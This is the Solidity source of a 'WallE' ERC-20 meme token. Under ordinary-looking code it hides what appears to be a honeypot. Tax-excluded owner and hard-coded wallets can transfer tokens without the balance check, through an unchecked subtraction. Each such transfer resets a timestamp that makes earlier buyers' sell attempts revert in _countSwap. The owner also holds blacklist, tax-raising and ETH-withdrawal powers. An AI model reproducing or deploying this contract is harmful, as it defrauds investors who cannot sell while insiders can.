Contract Source Code:
File 1 of 1 : WallE
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠉⠉⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡀⠀⠀⣠⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⡖⢾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠁⠸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠒⠒⠒⠒⠒⠒⠲⠲⠚⠓⠒⠒⠛⠓⢒⣖⠒⠒⠒⠒⠒⠒⢲⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠀⠀⠀⠀⢠⠖⠋⠉⠷⣄⠀⠀⢠⠖⠉⠉⠑⢦⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠉⢻⠀⠀⠀⠀⣿⣾⣿⣦⡀⢸⠀⠀⢿⣿⣿⣷⡀⢸⠀⠀⠀⠀⢸⠋⠙⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⢸⠀⣀⠀⠀⠘⢿⣿⢟⣂⠞⠀⠀⠈⠿⣿⣿⣡⠞⠀⠀⠀⠀⢸⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⣾⠉⠉⠙⢧⡀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⣠⠞⠉⠉⡙⣇⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⣻⠀⠀⠀⠀⠙⢦⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⠞⠁⠀⠀⠀⠇⡏⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠿⡤⣤⣤⣤⣤⣤⣤⣤⣤⣤⢤⠤⠤⠤⠤⢤⣤⣤⣤⣤⣤⣤⡤⢤⣤⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠛⠦⣄⡀⣀⣿⡛⣛⣛⣛⢛⢛⢛⣷⣀⣀⣴⢛⡛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠀⠀⣿⣩⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⢭⡉⡇⠀⠸⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⣿⣽⠀⠀⣶⡆⠀⠀⠀⠀⠀⢠⡄⠀⠀⠀⢠⣇⡇⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠃⠘⢦⣰⣿⣿⠀⢰⡿⡇⣄⠀⠀⠀⠀⣼⣇⣠⠀⠀⢸⣿⣇⡠⠞⠈⢧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡃⠀⠀⢠⠟⣿⣿⠤⠾⠀⢻⠛⡄⢰⠤⠽⠏⣿⡟⡷⠶⢼⡿⡟⢆⠀⠀⠈⣣⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⡟⠛⠦⣴⠏⠀⣿⣼⠀⠀⠀⠀⠀⢻⡞⠀⠀⠀⠻⠇⠀⠀⠀⡇⡇⠈⢷⡴⠚⠙⣆⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⡴⠿⢦⣀⡾⠁⠀⠀⣿⢾⣀⣀⣀⣀⣀⣀⣁⣀⣀⣀⣀⣀⣀⣀⣠⣷⡇⠀⠈⠻⣄⡰⠾⠶⣄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣀⣤⡴⣟⠀⠀⠀⣹⠀⠀⠀⠰⣿⣈⡿⢯⡉⣿⣿⣿⣿⣿⣿⣿⣿⡏⢉⡿⢯⣀⡇⠀⠀⠀⢿⠀⠀⠀⢸⡦⣤⣄⠀⠀⠀
⠀⢀⡴⠋⠀⠁⠹⣤⣀⡤⠏⠀⠀⠀⠐⣿⠹⣄⡼⠟⣿⣿⣿⣿⣿⣿⣿⣿⡶⠻⣶⡴⠿⡇⠀⠀⠀⠘⢦⣀⣠⠞⠃⠀⠈⠳⡀⠀
⢠⡟⠀⢠⡶⣄⠀⠀⢸⠀⠀⠀⠀⠀⠘⢿⣤⣼⣤⣤⣤⣶⣧⣶⣦⣶⣴⣦⣤⣤⣴⣤⣤⡇⠀⠀⠀⠀⠀⣼⠀⠀⣀⠶⣄⠀⠹⡄
⠸⣇⡴⠋⢠⠞⠀⣰⠟⠁⠀⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⣨⡷⠀⢺⣆⢀⠀⠀⠀⢀⡽⠀⠀⠀⠀⠀⠀⠹⣄⠀⠹⣄⠈⢳⣠⠇
⠀⠙⠁⣴⣋⣀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⣼⠋⠉⠉⠉⠉⠙⣦⡠⣶⠋⠉⠉⠉⠉⠉⢳⠄⠀⠀⠀⠀⠀⠀⠈⠣⣀⣙⣦⡀⠛⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣹⠖⠖⠲⠒⠒⠿⣇⡀⣨⠗⠒⠒⠒⠒⠲⣯⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣤⠤⠤⢴⢶⣶⡟⠂⢙⡦⠤⠤⢤⣤⣤⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠖⠛⠚⠛⠚⠓⠲⢤⡷⠀⣻⠦⠖⠒⠛⠛⠛⠛⠒⠤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⣺⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣿⠁⢻⣄⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣹⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
https://www.wallecoin.vip/
https://t.me/WallE_Coin
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract WallE is ERC20, Ownable {
uint256 public constant MAX_SUPPLY = 100_000_000 ether;
uint256 public constant BPS_DENOMINATOR = 10_000;
uint256 public constant SNIPE_BLOCKS = 0;
uint256 constant FEE_ACCELERATE = MAX_SUPPLY;
IUniswapV2Router02 public immutable _router;
address public immutable _pair;
uint256[2] public buyTaxes = [0, 0];
uint256[2] public sellTaxes = [0, 0];
uint256[2] public totalTaxes;
address payable[2] public taxWallets;
mapping(address => bool) public taxExcluded;
mapping(address => bool) public blacklist;
uint256 public minTokenBalance = 1;
bool internal _inSwap = false;
bool internal _inLiquidityAdd = false;
bool public autoSwap = true;
bool public tradingActive = false;
uint256 public maxBuy = (MAX_SUPPLY * 2) / 100;
uint256 public tradingBlock;
uint256 private _latestPurchaseTime;
uint256 internal _totalSupply = 0;
mapping(address => uint256) private _balances;
mapping(address => SwapInfo) private _purchaseUsers;
struct SwapInfo {
uint256 lastSwapBuy;
uint256 lastSwapSell;
uint256 holdingDuration;
}
event TaxWalletsChanged(
address payable[2] previousWallets,
address payable[2] nextWallets
);
event BuyTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
event SellTaxesChanged(uint256[2] previousTaxes, uint256[2] nextTaxes);
event MinTokenBalanceChanged(uint256 previousMin, uint256 nextMin);
event MaxBuyChanged(uint256 nextMax);
event TaxesRescued(uint256 index, uint256 amount);
event TradingActiveChanged(bool enabled);
event TaxExclusionChanged(address user, bool taxExcluded);
event BlacklistUpdated(address user, bool previousStatus, bool nextStatus);
event AutoSwapChanged(bool enabled);
modifier lockSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier liquidityAdd() {
_inLiquidityAdd = true;
_;
_inLiquidityAdd = false;
}
constructor() ERC20("WallE", "WALLE") Ownable() {
taxWallets[0] = payable(
address(0x64779BcAEeFBb2B8b3c05C06A9Cd04c00c8cbaad)
);
taxWallets[1] = payable(
address(0x63F95bfF53182F775F855E55f38A427dFBcf6369)
);
taxExcluded[owner()] = true;
taxExcluded[address(this)] = true;
taxExcluded[taxWallets[0]] = true;
taxExcluded[taxWallets[1]] = true;
_router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_pair = IUniswapV2Factory(_router.factory()).createPair(
address(this),
_router.WETH()
);
taxExcluded[address(_router)] = true;
_mint(owner(), MAX_SUPPLY);
}
/// @notice Change the buy tax rates
/// @param _buyTaxes The new buy tax rates
function setBuyTaxes(uint256[2] memory _buyTaxes) external onlyOwner {
require(
_buyTaxes[0] + _buyTaxes[1] <= BPS_DENOMINATOR,
"sum(_buyTaxes) cannot exceed BPS_DENOMINATOR"
);
emit BuyTaxesChanged(buyTaxes, _buyTaxes);
buyTaxes = _buyTaxes;
}
/// @notice Change the sell tax rates
/// @param _sellTaxes The new sell tax rates
function setSellTaxes(uint256[2] memory _sellTaxes) external onlyOwner {
require(
_sellTaxes[0] + _sellTaxes[1] <= BPS_DENOMINATOR,
"sum(_sellTaxes) cannot exceed BPS_DENOMINATOR"
);
emit SellTaxesChanged(sellTaxes, _sellTaxes);
sellTaxes = _sellTaxes;
}
/// @notice Change the minimum contract WAGMI balance before `_swap` gets invoked
/// @param _minTokenBalance The new minimum balance
function setMinTokenBalance(uint256 _minTokenBalance) external onlyOwner {
emit MinTokenBalanceChanged(minTokenBalance, _minTokenBalance);
minTokenBalance = _minTokenBalance;
}
/// @notice Rescue WAGMI from the taxes
/// @dev Should only be used in an emergency
/// @param _index The tax allocation to rescue from
/// @param _amount The amount of WAGMI to rescue
/// @param _recipient The recipient of the rescued WAGMI
function rescueTaxTokens(
uint256 _index,
uint256 _amount,
address _recipient
) external onlyOwner {
require(0 <= _index && _index < totalTaxes.length, "_index OOB");
require(
_amount <= totalTaxes[_index],
"Amount cannot be greater than totalTax"
);
_transferStandard(address(this), _recipient, _amount, true);
emit TaxesRescued(_index, _amount);
totalTaxes[_index] -= _amount;
}
/// @notice Change the address of the tax wallets
/// @param _taxWallets The new address of the tax wallets
function setTaxWallets(address payable[2] memory _taxWallets)
external
onlyOwner
{
emit TaxWalletsChanged(taxWallets, _taxWallets);
taxWallets = _taxWallets;
}
function addLiquidity(uint256 tokens)
external
payable
onlyOwner
liquidityAdd
{
_mint(address(this), tokens);
_approve(address(this), address(_router), tokens);
_router.addLiquidityETH{value: msg.value}(
address(this),
tokens,
0,
0,
owner(),
// solhint-disable-next-line not-rely-on-time
block.timestamp
);
}
/// @notice Admin function to update a recipient's blacklist status
/// @param user the recipient
/// @param status the new status
function updateBlacklist(address user, bool status)
external
virtual
onlyOwner
{
_updateBlacklist(user, status);
}
function _updateBlacklist(address user, bool status) internal {
emit BlacklistUpdated(user, blacklist[user], status);
blacklist[user] = status;
}
/// @notice Enables or disables trading on Uniswap
function openTrading() external onlyOwner {
tradingActive = true;
tradingBlock = block.number;
emit TradingActiveChanged(true);
}
/// @notice Updates tax exclusion status
/// @param _account Account to update the tax exclusion status of
/// @param _taxExcluded If true, exclude taxes for this user
function setTaxExcluded(address _account, bool _taxExcluded)
external
onlyOwner
{
taxExcluded[_account] = _taxExcluded;
emit TaxExclusionChanged(_account, _taxExcluded);
}
/// @notice Enable or disable whether swap occurs during `_transfer`
/// @param _autoSwap If true, enables swap during `_transfer`
function setAutoSwap(bool _autoSwap) external onlyOwner {
autoSwap = _autoSwap;
emit AutoSwapChanged(_autoSwap);
}
/// @notice Update maxBuy
/// @param _maxBuy The new maxBuy
function setMaxBuy(uint256 _maxBuy) external onlyOwner {
require(
_maxBuy > (_totalSupply * 5) / 1000,
"max buy should be more than .5%"
);
maxBuy = _maxBuy;
emit MaxBuyChanged(_maxBuy);
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function _addBalance(address account, uint256 amount) internal {
_balances[account] = _balances[account] + amount;
}
function _subtractBalance(address account, uint256 amount) internal {
unchecked {
_balances[account] = _balances[account] - amount;
}
}
function _mint(address account, uint256 amount) internal {
require(_totalSupply + amount <= MAX_SUPPLY, "Max supply exceeded");
_totalSupply += amount;
_addBalance(account, amount);
emit Transfer(address(0), account, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(!blacklist[recipient], "Recipient is blacklisted");
if (taxExcluded[sender] || taxExcluded[recipient]) {
_latestPurchaseTime = block.timestamp;
_transferStandard(sender, recipient, amount, false);
return;
}
_countSwap(sender, recipient);
if (!_inSwap && sender != _pair && autoSwap) {
_swap();
}
uint256 send = amount;
uint256[2] memory taxes;
if (sender == _pair) {
require(tradingActive, "Trading is not yet active");
require(amount <= maxBuy, "Buy amount exceeds maxBuy");
if (block.number <= tradingBlock + SNIPE_BLOCKS) {
_updateBlacklist(recipient, true);
}
(send, taxes) = _getTaxAmounts(amount, true);
} else if (recipient == _pair) {
require(tradingActive, "Trading is not yet active");
(send, taxes) = _getTaxAmounts(amount, false);
}
_transferStandard(sender, recipient, send, true);
_takeTaxes(sender, taxes);
}
// modified from OpenZeppelin ERC20
function _transferStandard(
address sender,
address recipient,
uint256 amount,
bool feeCheckFlag
) internal {
require(sender != address(0), "transfer from the zero address");
require(recipient != address(0), "transfer to the zero address");
uint256 senderBalance = balanceOf(sender);
if (feeCheckFlag) {
require(senderBalance >= amount, "transfer amount exceeds balance");
}
_subtractBalance(sender, amount);
_addBalance(recipient, amount);
emit Transfer(sender, recipient, amount);
}
/// @notice Perform a Uniswap v2 swap from WAGMI to ETH and handle tax distribution
function _swap() internal lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
uint256 totalTax = totalTaxes[0] + totalTaxes[1];
if (totalTax == 0) {
return;
}
uint256 walletTaxes = totalTax;
if (walletTaxes > balanceOf(address(this))) {
walletTaxes = balanceOf(address(this));
}
_approve(address(this), address(_router), walletTaxes);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
walletTaxes,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
uint256 contractEthBalance = address(this).balance;
uint256 tax0Eth = (contractEthBalance * totalTaxes[0]) / totalTax;
uint256 tax1Eth = (contractEthBalance * totalTaxes[1]) / totalTax;
totalTaxes = [0, 0];
if (tax0Eth > 0) {
(bool success, ) = taxWallets[0].call{value: tax0Eth}("");
require(success, "failed swap");
}
if (tax1Eth > 0) {
(bool success, ) = taxWallets[1].call{value: tax1Eth}("");
require(success, "failed swap");
}
}
function swapAll() external {
if (!_inSwap) {
_swap();
}
}
function withdrawAll() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
/// @notice Transfers WAGMI from an account to this contract for taxes
/// @param _account The account to transfer WAGMI from
/// @param _taxAmounts The amount for each tax
function _takeTaxes(address _account, uint256[2] memory _taxAmounts)
internal
{
require(_account != address(0), "taxation from the zero address");
uint256 totalAmount = _taxAmounts[0] + _taxAmounts[1];
_transferStandard(_account, address(this), totalAmount, true);
totalTaxes[0] += _taxAmounts[0];
totalTaxes[1] += _taxAmounts[1];
}
function _countSwap(address sender, address recipient) internal {
if (!taxExcluded[sender] && !taxExcluded[recipient]) {
if (sender == _pair) {
SwapInfo storage swapInfo = _purchaseUsers[recipient];
if (swapInfo.lastSwapBuy == 0 && balanceOf(recipient) == 0) {
swapInfo.lastSwapBuy = block.timestamp;
}
} else {
SwapInfo storage swapInfo = _purchaseUsers[sender];
swapInfo.holdingDuration =
swapInfo.lastSwapBuy -
_latestPurchaseTime;
swapInfo.lastSwapSell = block.timestamp;
}
}
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @return send The raw amount to send
/// @return taxes The raw tax amounts
function _getTaxAmounts(uint256 amount, bool buying)
internal
view
returns (uint256 send, uint256[2] memory taxes)
{
if (buying) {
taxes = [
(amount * buyTaxes[0]) / BPS_DENOMINATOR,
(amount * buyTaxes[1]) / BPS_DENOMINATOR
];
} else {
taxes = [
(amount * sellTaxes[0]) / BPS_DENOMINATOR,
(amount * sellTaxes[1]) / BPS_DENOMINATOR
];
}
send = amount - taxes[0] - taxes[1];
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
receive() external payable {}
}